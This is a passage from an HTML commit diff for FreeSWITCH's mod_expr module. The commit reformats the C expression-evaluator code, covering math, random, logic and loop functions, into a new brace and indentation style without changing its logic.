</span><del>- if(!err)
- {
- EXPR_RESET_ERR();
- *val = log(d1);
- EXPR_CHECK_ERR();
- }
- else
- return err;
</del><ins>+        if (!err) {
+                EXPR_RESET_ERR();
+                *val = log(d1);
+                EXPR_CHECK_ERR();
+        } else
+                return err;
</ins><span class="cx">
</span><del>- break;
- }
</del><ins>+        break;
+}
</ins><span class="cx">
</span><span class="cx"> /* exp */
</span><del>-case EXPR_NODEFUNC_EXP:
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</del><ins>+case EXPR_NODEFUNC_EXP:
+{
+        err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</ins><span class="cx">
</span><del>- if(!err)
- {
- EXPR_RESET_ERR();
- *val = exp(d1);
- EXPR_CHECK_ERR();
- }
- else
- return err;
</del><ins>+        if (!err) {
+                EXPR_RESET_ERR();
+                *val = exp(d1);
+                EXPR_CHECK_ERR();
+        } else
+                return err;
</ins><span class="cx">
</span><del>- break;
- }
</del><ins>+        break;
+}
</ins><span class="cx">
</span><del>-case EXPR_NODEFUNC_LOGN:
- {
- EXPRTYPE l1, l2;
</del><ins>+case EXPR_NODEFUNC_LOGN:
+{
+        EXPRTYPE l1, l2;
</ins><span class="cx">
</span><del>- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</del><ins>+        err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</ins><span class="cx">
</span><del>- if(!err)
- err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
</del><ins>+        if (!err)
+                err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
</ins><span class="cx">
</span><del>- if(!err)
- {
- EXPR_RESET_ERR();
- l1 = log(d1);
- EXPR_CHECK_ERR();
- l2 = log(d2);
- EXPR_CHECK_ERR();
</del><ins>+        if (!err) {
+                EXPR_RESET_ERR();
+                l1 = log(d1);
+                EXPR_CHECK_ERR();
+                l2 = log(d2);
+                EXPR_CHECK_ERR();
</ins><span class="cx">
</span><span class="cx">
</span><del>- if(l2 == 0.0)
- {
</del><ins>+                if (l2 == 0.0) {
</ins><span class="cx"> #if(EXPR_ERROR_LEVEL >= EXPR_ERROR_LEVEL_CHECK)
</span><del>- return EXPR_ERROR_OUTOFRANGE;
</del><ins>+                        return EXPR_ERROR_OUTOFRANGE;
</ins><span class="cx"> #else
</span><del>- *val = 0.0;
- return EXPR_ERROR_NOERROR;
</del><ins>+                        *val = 0.0;
+                        return EXPR_ERROR_NOERROR;
</ins><span class="cx"> #endif
</span><del>- }
</del><ins>+                }
</ins><span class="cx">
</span><del>- *val = l1 / l2;
- }
- else
- return err;
</del><ins>+                *val = l1 / l2;
+        } else
+                return err;
</ins><span class="cx">
</span><del>- break;
- }
</del><ins>+        break;
+}
</ins><span class="cx">
</span><span class="cx"> /* ceil */
</span><del>-case EXPR_NODEFUNC_CEIL:
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</del><ins>+case EXPR_NODEFUNC_CEIL:
+{
+        err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</ins><span class="cx">
</span><del>- if(!err)
- {
- *val = ceil(d1);
- }
- else
- return err;
</del><ins>+        if (!err) {
+                *val = ceil(d1);
+        } else
+                return err;
</ins><span class="cx">
</span><del>- break;
- }
</del><ins>+        break;
+}
</ins><span class="cx">
</span><span class="cx"> /* floor */
</span><del>-case EXPR_NODEFUNC_FLOOR:
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</del><ins>+case EXPR_NODEFUNC_FLOOR:
+{
+        err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</ins><span class="cx">
</span><del>- if(!err)
- {
- *val = floor(d1);
- }
- else
- return err;
</del><ins>+        if (!err) {
+                *val = floor(d1);
+        } else
+                return err;
</ins><span class="cx">
</span><del>- break;
- }
</del><ins>+        break;
+}
</ins><span class="cx">
</span><span class="cx"> /* rand */
</span><span class="cx"> case EXPR_NODEFUNC_RAND:
</span><del>- {
- long a;
-
- /* Perform random routine directly */
- a = ((long)(*(nodes->data.function.refs[0]))) * 214013L + 2531011L;
- *(nodes->data.function.refs[0]) = (EXPRTYPE)a;
</del><ins>+{
+        long a;
</ins><span class="cx">
</span><del>- *val = (EXPRTYPE)((a >> 16) & 0x7FFF) / (EXPRTYPE)(32768);
- break;
- }
</del><ins>+        /* Perform random routine directly */
+        a = ((long) (*(nodes->data.function.refs[0]))) * 214013L + 2531011L;
+        *(nodes->data.function.refs[0]) = (EXPRTYPE) a;
</ins><span class="cx">
</span><ins>+        *val = (EXPRTYPE) ((a >> 16) & 0x7FFF) / (EXPRTYPE) (32768);
+        break;
+}
+
</ins><span class="cx"> /* random */
</span><span class="cx"> case EXPR_NODEFUNC_RANDOM:
</span><del>- {
- EXPRTYPE diff, rval;
- long a;
</del><ins>+{
+        EXPRTYPE diff, rval;
+        long a;
</ins><span class="cx">
</span><del>- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</del><ins>+        err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</ins><span class="cx">
</span><del>- if(!err)
- err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
</del><ins>+        if (!err)
+                err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
</ins><span class="cx">
</span><del>- if(!err)
- {
- diff = d2 - d1;
</del><ins>+        if (!err) {
+                diff = d2 - d1;
</ins><span class="cx">
</span><del>- /* Perform random routine directly */
- a = ((long)(*(nodes->data.function.refs[0]))) * 214013L + 2531011L;
- *(nodes->data.function.refs[0]) = (EXPRTYPE)a;
</del><ins>+                /* Perform random routine directly */
+                a = ((long) (*(nodes->data.function.refs[0]))) * 214013L + 2531011L;
+                *(nodes->data.function.refs[0]) = (EXPRTYPE) a;
</ins><span class="cx">
</span><del>- rval = (EXPRTYPE)((a >> 16) & 0x7FFF) / (EXPRTYPE)(32767);
</del><ins>+                rval = (EXPRTYPE) ((a >> 16) & 0x7FFF) / (EXPRTYPE) (32767);
</ins><span class="cx">
</span><del>- *val = (rval * diff) + d1;
- }
- else
- return err;
</del><ins>+                *val = (rval * diff) + d1;
+        } else
+                return err;
</ins><span class="cx">
</span><del>- break;
- }
</del><ins>+        break;
+}
</ins><span class="cx">
</span><span class="cx"> /* randomize */
</span><span class="cx"> case EXPR_NODEFUNC_RANDOMIZE:
</span><del>- {
- static int curcall = 0;
</del><ins>+{
+        static int curcall = 0;
</ins><span class="cx">
</span><del>- curcall++;
</del><ins>+        curcall++;
</ins><span class="cx">
</span><del>- *(nodes->data.function.refs[0]) = (EXPRTYPE)((clock() + 1024 + curcall) * time(NULL));
</del><ins>+        *(nodes->data.function.refs[0]) = (EXPRTYPE) ((clock() + 1024 + curcall) * time(NULL));
</ins><span class="cx">
</span><del>- break;
- }
</del><ins>+        break;
+}
</ins><span class="cx">
</span><span class="cx"> /* deg */
</span><span class="cx"> case EXPR_NODEFUNC_DEG:
</span><del>- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
-
- if(!err)
- {
- *val = (180.0 * d1) / M_PI;
- }
- else
- return err;
</del><ins>+{
+        err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</ins><span class="cx">
</span><del>- break;
- }
</del><ins>+        if (!err) {
+                *val = (180.0 * d1) / M_PI;
+        } else
+                return err;
</ins><span class="cx">
</span><ins>+        break;
+}
+
</ins><span class="cx"> /* rad */
</span><span class="cx"> case EXPR_NODEFUNC_RAD:
</span><del>- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
-
- if(!err)
- {
- *val = (M_PI * d1) / 180.0;
- }
- else
- return err;
</del><ins>+{
+        err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</ins><span class="cx">
</span><del>- break;
- }
</del><ins>+        if (!err) {
+                *val = (M_PI * d1) / 180.0;
+        } else
+                return err;
</ins><span class="cx">
</span><ins>+        break;
+}
+
</ins><span class="cx"> /* recttopolr */
</span><span class="cx"> case EXPR_NODEFUNC_RECTTOPOLR:
</span><del>- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</del><ins>+{
+        err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</ins><span class="cx">
</span><del>- if(!err)
- err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
-
- if(!err)
- {
- EXPR_RESET_ERR();
- *val = sqrt((d1 * d1) + (d2 * d2));
- EXPR_CHECK_ERR();
- }
- else
- return err;
</del><ins>+        if (!err)
+                err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
</ins><span class="cx">
</span><del>- break;
- }
</del><ins>+        if (!err) {
+                EXPR_RESET_ERR();
+                *val = sqrt((d1 * d1) + (d2 * d2));
+                EXPR_CHECK_ERR();
+        } else
+                return err;
</ins><span class="cx">
</span><ins>+        break;
+}
+
</ins><span class="cx"> /* recttopola */
</span><span class="cx"> case EXPR_NODEFUNC_RECTTOPOLA:
</span><del>- {
- EXPRTYPE tmp;
</del><ins>+{
+        EXPRTYPE tmp;
</ins><span class="cx">
</span><del>- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</del><ins>+        err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</ins><span class="cx">
</span><del>- if(!err)
- err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
-
- if(!err)
- {
- EXPR_RESET_ERR();
- tmp = atan2(d2, d1);
- EXPR_CHECK_ERR();
</del><ins>+        if (!err)
+                err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
</ins><span class="cx">
</span><del>- if(tmp < 0.0)
- *val = tmp = (2.0 * M_PI);
- else
- *val = tmp;
- }
- else
- return err;
</del><ins>+        if (!err) {
+                EXPR_RESET_ERR();
+                tmp = atan2(d2, d1);
+                EXPR_CHECK_ERR();
</ins><span class="cx">
</span><del>- break;
- }
</del><ins>+                if (tmp < 0.0)
+                        *val = tmp = (2.0 * M_PI);
+                else
+                        *val = tmp;
+        } else
+                return err;
</ins><span class="cx">
</span><ins>+        break;
+}
+
</ins><span class="cx"> /* poltorectx */
</span><span class="cx"> case EXPR_NODEFUNC_POLTORECTX:
</span><del>- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</del><ins>+{
+        err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</ins><span class="cx">
</span><del>- if(!err)
- err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
-
- if(!err)
- {
- EXPR_RESET_ERR();
- *val = d1 * cos(d2);
- EXPR_CHECK_ERR();
- }
- else
- return err;
</del><ins>+        if (!err)
+                err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
</ins><span class="cx">
</span><del>- break;
- }
</del><ins>+        if (!err) {
+                EXPR_RESET_ERR();
+                *val = d1 * cos(d2);
+                EXPR_CHECK_ERR();
+        } else
+                return err;
</ins><span class="cx">
</span><ins>+        break;
+}
+
</ins><span class="cx"> /* poltorecty */
</span><span class="cx"> case EXPR_NODEFUNC_POLTORECTY:
</span><del>- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</del><ins>+{
+        err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</ins><span class="cx">
</span><del>- if(!err)
- err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
-
- if(!err)
- {
- EXPR_RESET_ERR();
- *val = d1 * sin(d2);
- EXPR_CHECK_ERR();
- }
- else
- return err;
</del><ins>+        if (!err)
+                err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
</ins><span class="cx">
</span><del>- break;
- }
</del><ins>+        if (!err) {
+                EXPR_RESET_ERR();
+                *val = d1 * sin(d2);
+                EXPR_CHECK_ERR();
+        } else
+                return err;
</ins><span class="cx">
</span><ins>+        break;
+}
+
</ins><span class="cx"> /* if */
</span><span class="cx"> case EXPR_NODEFUNC_IF:
</span><del>- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</del><ins>+{
+        err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</ins><span class="cx">
</span><del>- if(!err)
- {
- if(d1 != 0.0)
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 1, val);
- if(err)
- return err;
- }
- else
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 2, val);
- if(err)
- return err;
- }
- }
- else
- return err;
</del><ins>+        if (!err) {
+                if (d1 != 0.0) {
+                        err = exprEvalNode(obj, nodes->data.function.nodes, 1, val);
+                        if (err)
+                                return err;
+                } else {
+                        err = exprEvalNode(obj, nodes->data.function.nodes, 2, val);
+                        if (err)
+                                return err;
+                }
+        } else
+                return err;
</ins><span class="cx">
</span><del>- break;
- }
</del><ins>+        break;
+}
</ins><span class="cx">
</span><span class="cx"> /* select */
</span><span class="cx"> case EXPR_NODEFUNC_SELECT:
</span><del>- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</del><ins>+{
+        err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</ins><span class="cx">
</span><del>- if(!err)
- {
- if(d1 < 0.0)
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 1, val);
- if(err)
- return err;
- }
- else if(d1 == 0.0)
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 2, val);
- if(err)
- return err;
- }
- else
- {
- if(nodes->data.function.nodecount == 3)
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 2, val);
- if(err)
- return err;
- }
- else
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 3, val);
- if(err)
- return err;
- }
- }
- }
- else
- return err;
</del><ins>+        if (!err) {
+                if (d1 < 0.0) {
+                        err = exprEvalNode(obj, nodes->data.function.nodes, 1, val);
+                        if (err)
+                                return err;
+                } else if (d1 == 0.0) {
+                        err = exprEvalNode(obj, nodes->data.function.nodes, 2, val);
+                        if (err)
+                                return err;
+                } else {
+                        if (nodes->data.function.nodecount == 3) {
+                                err = exprEvalNode(obj, nodes->data.function.nodes, 2, val);
+                                if (err)
+                                        return err;
+                        } else {
+                                err = exprEvalNode(obj, nodes->data.function.nodes, 3, val);
+                                if (err)
+                                        return err;
+                        }
+                }
+        } else
+                return err;
</ins><span class="cx">
</span><del>- break;
- }
</del><ins>+        break;
+}
</ins><span class="cx">
</span><span class="cx"> /* equal */
</span><span class="cx"> case EXPR_NODEFUNC_EQUAL:
</span><del>- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</del><ins>+{
+        err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</ins><span class="cx">
</span><del>- if(!err)
- err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
-
- if(!err)
- {
- *val = (d1 == d2) ? 1.0 : 0.0;
- }
- else
- return err;
</del><ins>+        if (!err)
+                err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
</ins><span class="cx">
</span><del>- break;
- }
</del><ins>+        if (!err) {
+                *val = (d1 == d2) ? 1.0 : 0.0;
+        } else
+                return err;
</ins><span class="cx">
</span><ins>+        break;
+}
+
</ins><span class="cx"> /* above */
</span><span class="cx"> case EXPR_NODEFUNC_ABOVE:
</span><del>- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</del><ins>+{
+        err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</ins><span class="cx">
</span><del>- if(!err)
- err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
-
- if(!err)
- {
- *val = (d1 > d2) ? 1.0 : 0.0;
- }
- else
- return err;
</del><ins>+        if (!err)
+                err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
</ins><span class="cx">
</span><del>- break;
- }
</del><ins>+        if (!err) {
+                *val = (d1 > d2) ? 1.0 : 0.0;
+        } else
+                return err;
</ins><span class="cx">
</span><ins>+        break;
+}
+
</ins><span class="cx"> /* below */
</span><span class="cx"> case EXPR_NODEFUNC_BELOW:
</span><del>- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</del><ins>+{
+        err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</ins><span class="cx">
</span><del>- if(!err)
- err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
-
- if(!err)
- {
- *val = (d1 < d2) ? 1.0 : 0.0;
- }
- else
- return err;
</del><ins>+        if (!err)
+                err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
</ins><span class="cx">
</span><del>- break;
- }
</del><ins>+        if (!err) {
+                *val = (d1 < d2) ? 1.0 : 0.0;
+        } else
+                return err;
</ins><span class="cx">
</span><ins>+        break;
+}
+
</ins><span class="cx"> /* avg */
</span><span class="cx"> case EXPR_NODEFUNC_AVG:
</span><del>- {
- d2 = 0.0;
-
- for(pos = 0; pos < nodes->data.function.nodecount; pos++)
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, pos, &d1);
- if(!err)
- {
- d2 += d1;
- }
- else
- return err;
- }
</del><ins>+{
+        d2 = 0.0;
</ins><span class="cx">
</span><del>- *val = d2 / (EXPRTYPE)(nodes->data.function.nodecount);
</del><ins>+        for (pos = 0; pos < nodes->data.function.nodecount; pos++) {
+                err = exprEvalNode(obj, nodes->data.function.nodes, pos, &d1);
+                if (!err) {
+                        d2 += d1;
+                } else
+                        return err;
+        }
</ins><span class="cx">
</span><del>- break;
- }
</del><ins>+        *val = d2 / (EXPRTYPE) (nodes->data.function.nodecount);
</ins><span class="cx">
</span><ins>+        break;
+}
+
</ins><span class="cx"> /* clip */
</span><span class="cx"> case EXPR_NODEFUNC_CLIP:
</span><del>- {
- EXPRTYPE v;
</del><ins>+{
+        EXPRTYPE v;
</ins><span class="cx">
</span><del>- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &v);
</del><ins>+        err = exprEvalNode(obj, nodes->data.function.nodes, 0, &v);
</ins><span class="cx">
</span><del>- if(!err)
- err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d1);
</del><ins>+        if (!err)
+                err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d1);
</ins><span class="cx">
</span><del>- if(!err)
- err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
-
- if(!err)
- {
- if(v < d1)
- *val = d1;
- else if(v > d2)
- *val = d2;
- else
- *val = v;
- }
- else
- return err;
</del><ins>+        if (!err)
+                err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
</ins><span class="cx">
</span><del>- break;
- }
</del><ins>+        if (!err) {
+                if (v < d1)
+                        *val = d1;
+                else if (v > d2)
+                        *val = d2;
+                else
+                        *val = v;
+        } else
+                return err;
</ins><span class="cx">
</span><ins>+        break;
+}
+
</ins><span class="cx"> /* clamp */
</span><span class="cx"> case EXPR_NODEFUNC_CLAMP:
</span><del>- {
- EXPRTYPE v, tmp;
</del><ins>+{
+        EXPRTYPE v, tmp;
</ins><span class="cx">
</span><del>- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &v);
</del><ins>+        err = exprEvalNode(obj, nodes->data.function.nodes, 0, &v);
</ins><span class="cx">
</span><del>- if(!err)
- err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d1);
</del><ins>+        if (!err)
+                err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d1);
</ins><span class="cx">
</span><del>- if(!err)
- err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
-
- if(!err)
- {
- EXPR_RESET_ERR();
- tmp = fmod(v - d1, d2 - d1);
- EXPR_CHECK_ERR();
</del><ins>+        if (!err)
+                err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
</ins><span class="cx">
</span><del>- if(tmp < 0.0)
- *val = tmp * d2;
- else
- *val = tmp + d1;
- }
- else
- return err;
</del><ins>+        if (!err) {
+                EXPR_RESET_ERR();
+                tmp = fmod(v - d1, d2 - d1);
+                EXPR_CHECK_ERR();
</ins><span class="cx">
</span><del>- break;
- }
</del><ins>+                if (tmp < 0.0)
+                        *val = tmp * d2;
+                else
+                        *val = tmp + d1;
+        } else
+                return err;
</ins><span class="cx">
</span><ins>+        break;
+}
+
</ins><span class="cx"> /* pntchange */
</span><span class="cx"> case EXPR_NODEFUNC_PNTCHANGE:
</span><del>- {
- EXPRTYPE n1, n2, pnt;
- EXPRTYPE odiff, ndiff, perc;
</del><ins>+{
+        EXPRTYPE n1, n2, pnt;
+        EXPRTYPE odiff, ndiff, perc;
</ins><span class="cx">
</span><del>- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</del><ins>+        err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</ins><span class="cx">
</span><del>- if(!err)
- err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
</del><ins>+        if (!err)
+                err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
</ins><span class="cx">
</span><del>- if(!err)
- err = exprEvalNode(obj, nodes->data.function.nodes, 2, &n1);
</del><ins>+        if (!err)
+                err = exprEvalNode(obj, nodes->data.function.nodes, 2, &n1);
</ins><span class="cx">
</span><del>- if(!err)
- err = exprEvalNode(obj, nodes->data.function.nodes, 3, &n2);
</del><ins>+        if (!err)
+                err = exprEvalNode(obj, nodes->data.function.nodes, 3, &n2);
</ins><span class="cx">
</span><del>- if(!err)
- err = exprEvalNode(obj, nodes->data.function.nodes, 4, &pnt);
-
- if(!err)
- {
- odiff = d2 - d1;
- ndiff = n2 - n1;
</del><ins>+        if (!err)
+                err = exprEvalNode(obj, nodes->data.function.nodes, 4, &pnt);
</ins><span class="cx">
</span><del>- if(odiff == 0.0)
- {
- *val = d1;
- return EXPR_ERROR_NOERROR;
- }
</del><ins>+        if (!err) {
+                odiff = d2 - d1;
+                ndiff = n2 - n1;
</ins><span class="cx">
</span><del>- perc = (pnt - d1) / odiff;
</del><ins>+                if (odiff == 0.0) {
+                        *val = d1;
+                        return EXPR_ERROR_NOERROR;
+                }
</ins><span class="cx">
</span><del>- *val = n1 + (perc * ndiff);
- }
- else
- return err;
</del><ins>+                perc = (pnt - d1) / odiff;
</ins><span class="cx">
</span><del>- break;
- }
</del><ins>+                *val = n1 + (perc * ndiff);
+        } else
+                return err;
</ins><span class="cx">
</span><ins>+        break;
+}
+
</ins><span class="cx"> /* poly */
</span><span class="cx"> case EXPR_NODEFUNC_POLY:
</span><del>- {
- EXPRTYPE total, curpow;
</del><ins>+{
+        EXPRTYPE total, curpow;
</ins><span class="cx">
</span><del>- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</del><ins>+        err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</ins><span class="cx">
</span><del>- if(!err)
- {
- curpow = (EXPRTYPE)(nodes->data.function.nodecount) - 2.0;
- total = 0.0;
</del><ins>+        if (!err) {
+                curpow = (EXPRTYPE) (nodes->data.function.nodecount) - 2.0;
+                total = 0.0;
</ins><span class="cx">
</span><del>- for(pos = 1; pos < nodes->data.function.nodecount; pos++)
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, pos, &d2);
- if(err)
- return err;
</del><ins>+                for (pos = 1; pos < nodes->data.function.nodecount; pos++) {
+                        err = exprEvalNode(obj, nodes->data.function.nodes, pos, &d2);
+                        if (err)
+                                return err;
</ins><span class="cx">
</span><del>- EXPR_RESET_ERR();
- total = total + (d2 * pow(d1, curpow));
- EXPR_CHECK_ERR();
</del><ins>+                        EXPR_RESET_ERR();
+                        total = total + (d2 * pow(d1, curpow));
+                        EXPR_CHECK_ERR();
</ins><span class="cx">
</span><del>- curpow = curpow - 1.0;
- }
- }
- else
- return err;
</del><ins>+                        curpow = curpow - 1.0;
+                }
+        } else
+                return err;
</ins><span class="cx">
</span><del>- *val = total;
- break;
- }
</del><ins>+        *val = total;
+        break;
+}
</ins><span class="cx">
</span><span class="cx"> /* and */
</span><span class="cx"> case EXPR_NODEFUNC_AND:
</span><del>- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
-
- if(!err)
- err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
</del><ins>+{
+        err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</ins><span class="cx">
</span><del>- if(!err)
- {
- if(d1 == 0.0 || d2 == 0.0)
- *val = 0.0;
- else
- *val = 1.0;
- }
- else
- return err;
</del><ins>+        if (!err)
+                err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
</ins><span class="cx">
</span><del>- break;
- }
</del><ins>+        if (!err) {
+                if (d1 == 0.0 || d2 == 0.0)
+                        *val = 0.0;
+                else
+                        *val = 1.0;
+        } else
+                return err;
</ins><span class="cx">
</span><ins>+        break;
+}
+
</ins><span class="cx"> /* or */
</span><span class="cx"> case EXPR_NODEFUNC_OR:
</span><del>- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
-
- if(!err)
- err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
</del><ins>+{
+        err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</ins><span class="cx">
</span><del>- if(!err)
- {
- if(d1 != 0.0 || d2 != 0.0)
- *val = 1.0;
- else
- *val = 0.0;
- }
- else
- return err;
</del><ins>+        if (!err)
+                err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
</ins><span class="cx">
</span><del>- break;
- }
</del><ins>+        if (!err) {
+                if (d1 != 0.0 || d2 != 0.0)
+                        *val = 1.0;
+                else
+                        *val = 0.0;
+        } else
+                return err;
</ins><span class="cx">
</span><ins>+        break;
+}
+
</ins><span class="cx"> /* not */
</span><span class="cx"> case EXPR_NODEFUNC_NOT:
</span><del>- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
-
- if(!err)
- {
- if(d1 != 0.0)
- *val = 0.0;
- else
- *val = 1.0;
- }
- else
- return err;
</del><ins>+{
+        err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</ins><span class="cx">
</span><del>- break;
- }
</del><ins>+        if (!err) {
+                if (d1 != 0.0)
+                        *val = 0.0;
+                else
+                        *val = 1.0;
+        } else
+                return err;
</ins><span class="cx">
</span><ins>+        break;
+}
+
</ins><span class="cx"> /* for */
</span><span class="cx"> case EXPR_NODEFUNC_FOR:
</span><del>- {
- int tmppos;
- EXPRTYPE test;
</del><ins>+{
+        int tmppos;
+        EXPRTYPE test;
</ins><span class="cx">
</span><del>- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
-
- if(!err)
- err = exprEvalNode(obj, nodes->data.function.nodes, 1, &test);
</del><ins>+        err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</ins><span class="cx">
</span><del>- if(!err)
- {
- while(test != 0.0)
- {
- for(tmppos = 3; tmppos < nodes->data.function.nodecount; tmppos++)
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, tmppos, val);
- if(err)
- return err;
- }
</del><ins>+        if (!err)
+                err = exprEvalNode(obj, nodes->data.function.nodes, 1, &test);
</ins><span class="cx">
</span><del>- err = exprEvalNode(obj, nodes->data.function.nodes, 2, &d1);
- if(err)
- return err;
</del><ins>+        if (!err) {
+                while (test != 0.0) {
+                        for (tmppos = 3; tmppos < nodes->data.function.nodecount; tmppos++) {
+                                err = exprEvalNode(obj, nodes->data.function.nodes, tmppos, val);
+                                if (err)
+                                        return err;
+                        }
</ins><span class="cx">
</span><del>- err = exprEvalNode(obj, nodes->data.function.nodes, 1, &test);
- if(err)
- return err;
- }
- }
- else
- return err;
</del><ins>+                        err = exprEvalNode(obj, nodes->data.function.nodes, 2, &d1);
+                        if (err)
+                                return err;
</ins><span class="cx">
</span><del>- break;
- }
</del><ins>+                        err = exprEvalNode(obj, nodes->data.function.nodes, 1, &test);
+                        if (err)
+                                return err;
+                }
+        } else
+                return err;
</ins><span class="cx">
</span><ins>+        break;
+}
+
</ins><span class="cx"> /* many */
</span><span class="cx"> case EXPR_NODEFUNC_MANY:
</span><del>- {
- for(pos = 0; pos < nodes->data.function.nodecount; pos++)
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, pos, val);
- if(err)
- return err;
- }
</del><ins>+{
+        for (pos = 0; pos < nodes->data.function.nodecount; pos++) {
+                err = exprEvalNode(obj, nodes->data.function.nodes, pos, val);
+                if (err)
+                        return err;
+        }
</ins><span class="cx">
</span><del>- break;
- }
-
</del><ins>+        break;
+}
</ins></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_exprexprmemh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_expr/exprmem.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_expr/exprmem.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_expr/exprmem.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -13,7 +13,7 @@
</span><span class="cx"> /* Needed for exprNode */
</span><span class="cx"> #include "exprpriv.h"
</span><span class="cx">
</span><del>-void* exprAllocMem(size_t size);
</del><ins>+void *exprAllocMem(size_t size);
</ins><span class="cx"> void exprFreeMem(void *data);
</span><span class="cx"> exprNode *exprAllocNodes(size_t count);
</span><span class="cx">
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_exprexprprivh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_expr/exprpriv.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_expr/exprpriv.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_expr/exprpriv.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -30,196 +30,180 @@
</span><span class="cx"> #define EXPR_VERSIONMINOR 7
</span><span class="cx">
